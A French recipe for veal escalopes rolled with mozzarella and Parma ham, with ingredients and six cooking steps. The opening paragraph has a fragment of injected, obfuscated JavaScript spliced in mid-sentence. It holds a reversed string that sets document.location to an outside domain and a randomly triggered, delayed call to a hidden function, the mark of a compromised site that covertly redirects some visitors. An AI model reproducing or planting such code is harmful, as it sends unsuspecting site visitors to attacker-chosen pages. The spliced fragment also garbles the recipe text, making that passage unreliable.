Escalope de veau en portefeuille avec de la mozzarella
2018-01-01Coupez en fines lamelles les tranches de jambon de parme. Pelez, émincez l’oignon. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, avec une noisette de beurre sur feu moyen, faites fondre l’oignon tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à ce qu’il soit translucide pendant 5 minutes environ.
Ingrédients
- Pour 4 personnes
- 4 escalopes de veau
- 150 g de mozzarella
- 4 tranches fines de jambon de parme
- 1 oignon
- 1 feuille de laurier
- 2 brins de thym
- 2 cuillères à soupe d'huile d'arachide
- 10 cl de vin blanc sec
- 10 cl de cube de fond de volaille
- 1 cuillère à soupe d'huile d'arachide
- 1 noisette de beurre
Préparation de la recette
Etape 1
Coupez en fines lamelles les tranches de jambon de parme. Pelez, émincez l'oignon.
Etape 2
Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, avec une noisette de beurre sur feu moyen, faites fondre l'oignon tout en remuant jusqu'à ce qu'il soit translucide pendant 5 minutes environ.
Etape 3
Réservez dans une assiette. Aplatissez les escalopes de veau avec un rouleau à pâtisserie pour les rendre plus fines. Déposez un morceau de mozzarella au centre, sel / poivre / basilic / Roulez les escalopes. Faites les tenir avec une ficelle de cuisine alimentaire.
Etape 4
Dans une cocotte avec l'huile d'arachide, sur feu vif, faites les revenir de tous les côtés . Réservez dans un plat.
Etape 5
Déglacez la cocotte avec le vin blanc, ajoutez l'oignon, le jambon de parme, le fond de veau, le thym, le laurier, et les escalopes.
Etape 6
Laissez mijoter pendant 10 minutes à couvert. Vérifiez la cuisson et dégustez.
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